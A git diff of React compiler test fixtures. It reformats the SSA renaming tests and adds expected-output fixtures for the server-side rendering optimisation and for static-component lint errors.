diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring.expect.md
index dd7faa4594f6..3aa3309d4c98 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring.expect.md
@@ -3,11 +3,11 @@
 
 ```javascript
 function foo(props) {
-  let { x } = { x: [] };
+  let {x} = {x: []};
   x.push(props.bar);
   if (props.cond) {
-    ({ x } = { x: {} });
-    ({ x } = { x: [] });
+    ({x} = {x: {}});
+    ({x} = {x: []});
     x.push(props.foo);
   }
   return x;
@@ -15,8 +15,8 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -46,6 +46,7 @@ function foo(props) {
       x = $[3];
     }
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring.js
index 41333b8af51e..2f322ba9da5b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring.js
@@ -1,9 +1,9 @@
 function foo(props) {
-  let { x } = { x: [] };
+  let {x} = {x: []};
   x.push(props.bar);
   if (props.cond) {
-    ({ x } = { x: {} });
-    ({ x } = { x: [] });
+    ({x} = {x: {}});
+    ({x} = {x: []});
     x.push(props.foo);
   }
   return x;
@@ -11,6 +11,6 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-with-mutation.expect.md
index 76ccbae06a93..f48cec2c238b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-with-mutation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-with-mutation.expect.md
@@ -2,7 +2,9 @@
 ## Input
 
 ```javascript
-function foo(props) {
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   if (props.cond) {
@@ -10,20 +12,32 @@ function foo(props) {
     x = [];
     x.push(props.foo);
   }
-  mut(x);
+  mutate(x);
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function foo(props) {
-  const $ = _c(2);
+import { mutate } from "shared-runtime";
+
+function useFoo(props) {
+  const $ = _c(4);
   let x;
-  if ($[0] !== props) {
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
     x = [];
     x.push(props.bar);
     if (props.cond) {
@@ -31,14 +45,30 @@ function foo(props) {
       x.push(props.foo);
     }
 
-    mut(x);
-    $[0] = props;
-    $[1] = x;
+    mutate(x);
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
   } else {
-    x = $[1];
+    x = $[3];
   }
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ bar: "bar", foo: "foo", cond: true }],
+  sequentialRenders: [
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: false },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) ["foo","joe"]
+["foo","joe"]
+["bar","joe"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-with-mutation.js
index 30f71933538e..a4d22684f244 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-with-mutation.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-with-mutation.js
@@ -1,4 +1,6 @@
-function foo(props) {
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   if (props.cond) {
@@ -6,6 +8,16 @@ function foo(props) {
     x = [];
     x.push(props.foo);
   }
-  mut(x);
+  mutate(x);
   return x;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming.expect.md
index 0bc843578990..3f1649b0d8ed 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming.expect.md
@@ -15,8 +15,8 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -46,6 +46,7 @@ function foo(props) {
       x = $[3];
     }
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming.js
index a6b5c114e685..c95c47382a63 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming.js
@@ -11,6 +11,6 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-shadowing.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-shadowing.expect.md
index f486304ece55..3fd22389f591 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-shadowing.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-shadowing.expect.md
@@ -5,12 +5,12 @@
 function log() {}
 
 function Foo(cond) {
-  let str = "";
+  let str = '';
   if (cond) {
-    let str = "other test";
+    let str = 'other test';
     log(str);
   } else {
-    str = "fallthrough test";
+    str = 'fallthrough test';
   }
   log(str);
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-shadowing.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-shadowing.js
index 5fd9bb75d2d6..7838af002a28 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-shadowing.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-shadowing.js
@@ -1,12 +1,12 @@
 function log() {}
 
 function Foo(cond) {
-  let str = "";
+  let str = '';
   if (cond) {
-    let str = "other test";
+    let str = 'other test';
     log(str);
   } else {
-    str = "fallthrough test";
+    str = 'fallthrough test';
   }
   log(str);
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-sibling-phis.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-sibling-phis.expect.md
index b5e6ab9939ef..56c289e9d079 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-sibling-phis.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-sibling-phis.expect.md
@@ -24,8 +24,8 @@ function foo(a, b, c, d) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-sibling-phis.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-sibling-phis.js
index d29d6d3aee05..e278cfce7b90 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-sibling-phis.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-sibling-phis.js
@@ -20,6 +20,6 @@ function foo(a, b, c, d) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-switch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-switch.expect.md
index 4796fbdcc2bc..48a765d3f363 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-switch.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-switch.expect.md
@@ -41,8 +41,7 @@ function foo() {
     case 2: {
       break bb0;
     }
-    default: {
-    }
+    default:
   }
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while-no-reassign.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while-no-reassign.expect.md
index 5b3eb80b6c64..772544da058f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while-no-reassign.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while-no-reassign.expect.md
@@ -24,6 +24,7 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 function foo() {
   while (true) {}
+
   return 1;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while.expect.md
index 63ce1665e2ed..4244a6159b3f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-while.expect.md
@@ -27,6 +27,7 @@ function foo() {
   while (x < 10) {
     x = x + 1;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/optimize-ssr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/optimize-ssr.expect.md
new file mode 100644
index 000000000000..48a0a92be70f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/optimize-ssr.expect.md
@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @enableOptimizeForSSR
+function Component() {
+  const [state, setState] = useState(0);
+  const ref = useRef(null);
+  const onChange = e => {
+    setState(e.target.value);
+  };
+  useEffect(() => {
+    log(ref.current.value);
+  });
+  return <input value={state} onChange={onChange} ref={ref} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableOptimizeForSSR
+function Component() {
+  const $ = _c(4);
+  const [state, setState] = useState(0);
+  const ref = useRef(null);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = (e) => {
+      setState(e.target.value);
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const onChange = t0;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
+      log(ref.current.value);
+    };
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  useEffect(t1);
+  let t2;
+  if ($[2] !== state) {
+    t2 = <input value={state} onChange={onChange} ref={ref} />;
+    $[2] = state;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/optimize-ssr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/optimize-ssr.js
new file mode 100644
index 000000000000..d9fba0f39033
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/optimize-ssr.js
@@ -0,0 +1,12 @@
+// @enableOptimizeForSSR
+function Component() {
+  const [state, setState] = useState(0);
+  const ref = useRef(null);
+  const onChange = e => {
+    setState(e.target.value);
+  };
+  useEffect(() => {
+    log(ref.current.value);
+  });
+  return <input value={state} onChange={onChange} ref={ref} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-setState.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-setState.expect.md
new file mode 100644
index 000000000000..80884d845308
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-setState.expect.md
@@ -0,0 +1,64 @@
+
+## Input
+
+```javascript
+// @enableOptimizeForSSR
+function Component() {
+  const [state, setState] = useState(0);
+  const ref = useRef(null);
+  const onChange = e => {
+    // The known setState call allows us to infer this as an event handler
+    // and prune it
+    setState(e.target.value);
+  };
+  useEffect(() => {
+    log(ref.current.value);
+  });
+  return <CustomInput value={state} onChange={onChange} ref={ref} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableOptimizeForSSR
+function Component() {
+  const $ = _c(4);
+  const [state, setState] = useState(0);
+  const ref = useRef(null);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = (e) => {
+      setState(e.target.value);
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const onChange = t0;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
+      log(ref.current.value);
+    };
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  useEffect(t1);
+  let t2;
+  if ($[2] !== state) {
+    t2 = <CustomInput value={state} onChange={onChange} ref={ref} />;
+    $[2] = state;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-setState.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-setState.js
new file mode 100644
index 000000000000..c67f026c040c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-setState.js
@@ -0,0 +1,14 @@
+// @enableOptimizeForSSR
+function Component() {
+  const [state, setState] = useState(0);
+  const ref = useRef(null);
+  const onChange = e => {
+    // The known setState call allows us to infer this as an event handler
+    // and prune it
+    setState(e.target.value);
+  };
+  useEffect(() => {
+    log(ref.current.value);
+  });
+  return <CustomInput value={state} onChange={onChange} ref={ref} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-startTransition.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-startTransition.expect.md
new file mode 100644
index 000000000000..ccfdccb28885
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-startTransition.expect.md
@@ -0,0 +1,70 @@
+
+## Input
+
+```javascript
+// @enableOptimizeForSSR
+function Component() {
+  const [, startTransition] = useTransition();
+  const [state, setState] = useState(0);
+  const ref = useRef(null);
+  const onChange = e => {
+    // The known startTransition call allows us to infer this as an event handler
+    // and prune it
+    startTransition(() => {
+      setState.call(null, e.target.value);
+    });
+  };
+  useEffect(() => {
+    log(ref.current.value);
+  });
+  return <CustomInput value={state} onChange={onChange} ref={ref} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableOptimizeForSSR
+function Component() {
+  const $ = _c(4);
+  const [, startTransition] = useTransition();
+  const [state, setState] = useState(0);
+  const ref = useRef(null);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = (e) => {
+      startTransition(() => {
+        setState.call(null, e.target.value);
+      });
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const onChange = t0;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
+      log(ref.current.value);
+    };
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  useEffect(t1);
+  let t2;
+  if ($[2] !== state) {
+    t2 = <CustomInput value={state} onChange={onChange} ref={ref} />;
+    $[2] = state;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-startTransition.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-startTransition.js
new file mode 100644
index 000000000000..f6f6f3914dc7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-infer-event-handlers-from-startTransition.js
@@ -0,0 +1,17 @@
+// @enableOptimizeForSSR
+function Component() {
+  const [, startTransition] = useTransition();
+  const [state, setState] = useState(0);
+  const ref = useRef(null);
+  const onChange = e => {
+    // The known startTransition call allows us to infer this as an event handler
+    // and prune it
+    startTransition(() => {
+      setState.call(null, e.target.value);
+    });
+  };
+  useEffect(() => {
+    log(ref.current.value);
+  });
+  return <CustomInput value={state} onChange={onChange} ref={ref} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer-initializer.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer-initializer.expect.md
new file mode 100644
index 000000000000..780e1f3963c4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer-initializer.expect.md
@@ -0,0 +1,75 @@
+
+## Input
+
+```javascript
+// @enableOptimizeForSSR
+
+import {useReducer} from 'react';
+
+const initializer = x => x;
+
+function Component() {
+  const [state, dispatch] = useReducer((_, next) => next, 0, initializer);
+  const ref = useRef(null);
+  const onChange = e => {
+    dispatch(e.target.value);
+  };
+  useEffect(() => {
+    log(ref.current.value);
+  });
+  return <input value={state} onChange={onChange} ref={ref} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableOptimizeForSSR
+
+import { useReducer } from "react";
+
+const initializer = (x) => {
+  return x;
+};
+
+function Component() {
+  const $ = _c(4);
+  const [state, dispatch] = useReducer(_temp, 0, initializer);
+  const ref = useRef(null);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = (e) => {
+      dispatch(e.target.value);
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const onChange = t0;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
+      log(ref.current.value);
+    };
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  useEffect(t1);
+  let t2;
+  if ($[2] !== state) {
+    t2 = <input value={state} onChange={onChange} ref={ref} />;
+    $[2] = state;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+function _temp(_, next) {
+  return next;
+}
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer-initializer.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer-initializer.js
new file mode 100644
index 000000000000..91844def22da
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer-initializer.js
@@ -0,0 +1,17 @@
+// @enableOptimizeForSSR
+
+import {useReducer} from 'react';
+
+const initializer = x => x;
+
+function Component() {
+  const [state, dispatch] = useReducer((_, next) => next, 0, initializer);
+  const ref = useRef(null);
+  const onChange = e => {
+    dispatch(e.target.value);
+  };
+  useEffect(() => {
+    log(ref.current.value);
+  });
+  return <input value={state} onChange={onChange} ref={ref} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer.expect.md
new file mode 100644
index 000000000000..3c48b27f8613
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+// @enableOptimizeForSSR
+
+import {useReducer} from 'react';
+
+function Component() {
+  const [state, dispatch] = useReducer((_, next) => next, 0);
+  const ref = useRef(null);
+  const onChange = e => {
+    dispatch(e.target.value);
+  };
+  useEffect(() => {
+    log(ref.current.value);
+  });
+  return <input value={state} onChange={onChange} ref={ref} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableOptimizeForSSR
+
+import { useReducer } from "react";
+
+function Component() {
+  const $ = _c(4);
+  const [state, dispatch] = useReducer(_temp, 0);
+  const ref = useRef(null);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = (e) => {
+      dispatch(e.target.value);
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const onChange = t0;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => {
+      log(ref.current.value);
+    };
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  useEffect(t1);
+  let t2;
+  if ($[2] !== state) {
+    t2 = <input value={state} onChange={onChange} ref={ref} />;
+    $[2] = state;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+function _temp(_, next) {
+  return next;
+}
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer.js
new file mode 100644
index 000000000000..4223ebe4f559
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssr/ssr-use-reducer.js
@@ -0,0 +1,15 @@
+// @enableOptimizeForSSR
+
+import {useReducer} from 'react';
+
+function Component() {
+  const [state, dispatch] = useReducer((_, next) => next, 0);
+  const ref = useRef(null);
+  const onChange = e => {
+    dispatch(e.target.value);
+  };
+  useEffect(() => {
+    log(ref.current.value);
+  });
+  return <input value={state} onChange={onChange} ref={ref} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-conditionally-assigned-dynamically-constructed-component-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-conditionally-assigned-dynamically-constructed-component-in-render.expect.md
new file mode 100644
index 000000000000..6625f0153e8a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-conditionally-assigned-dynamically-constructed-component-in-render.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  let Component;
+  if (props.cond) {
+    Component = createComponent();
+  } else {
+    Component = DefaultComponent;
+  }
+  return <Component />;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  let Component;
+  if (props.cond) {
+    Component = createComponent();
+  } else {
+    Component = DefaultComponent;
+  }
+  return <Component />;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"StaticComponents","reason":"Cannot create components during render","description":"Components created during render will reset their state each time they are created. Declare components outside of render","details":[{"kind":"error","loc":{"start":{"line":9,"column":10,"index":221},"end":{"line":9,"column":19,"index":230},"filename":"invalid-conditionally-assigned-dynamically-constructed-component-in-render.ts"},"message":"This component is created during render"},{"kind":"error","loc":{"start":{"line":5,"column":16,"index":143},"end":{"line":5,"column":33,"index":160},"filename":"invalid-conditionally-assigned-dynamically-constructed-component-in-render.ts"},"message":"The component is created during render here"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":2,"column":0,"index":64},"end":{"line":10,"column":1,"index":236},"filename":"invalid-conditionally-assigned-dynamically-constructed-component-in-render.ts"},"fnName":"Example","memoSlots":3,"memoBlocks":2,"memoValues":2,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-conditionally-assigned-dynamically-constructed-component-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-conditionally-assigned-dynamically-constructed-component-in-render.js
new file mode 100644
index 000000000000..1022cc9d5752
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-conditionally-assigned-dynamically-constructed-component-in-render.js
@@ -0,0 +1,10 @@
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  let Component;
+  if (props.cond) {
+    Component = createComponent();
+  } else {
+    Component = DefaultComponent;
+  }
+  return <Component />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-construct-component-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-construct-component-in-render.expect.md
new file mode 100644
index 000000000000..c6441bc4cb1e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-construct-component-in-render.expect.md
@@ -0,0 +1,32 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  const Component = createComponent();
+  return <Component />;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  const Component = createComponent();
+  return <Component />;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"StaticComponents","reason":"Cannot create components during render","description":"Components created during render will reset their state each time they are created. Declare components outside of render","details":[{"kind":"error","loc":{"start":{"line":4,"column":10,"index":139},"end":{"line":4,"column":19,"index":148},"filename":"invalid-dynamically-construct-component-in-render.ts"},"message":"This component is created during render"},{"kind":"error","loc":{"start":{"line":3,"column":20,"index":110},"end":{"line":3,"column":37,"index":127},"filename":"invalid-dynamically-construct-component-in-render.ts"},"message":"The component is created during render here"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":2,"column":0,"index":64},"end":{"line":5,"column":1,"index":154},"filename":"invalid-dynamically-construct-component-in-render.ts"},"fnName":"Example","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-construct-component-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-construct-component-in-render.js
new file mode 100644
index 000000000000..8992b8bf7c75
--- /dev/null
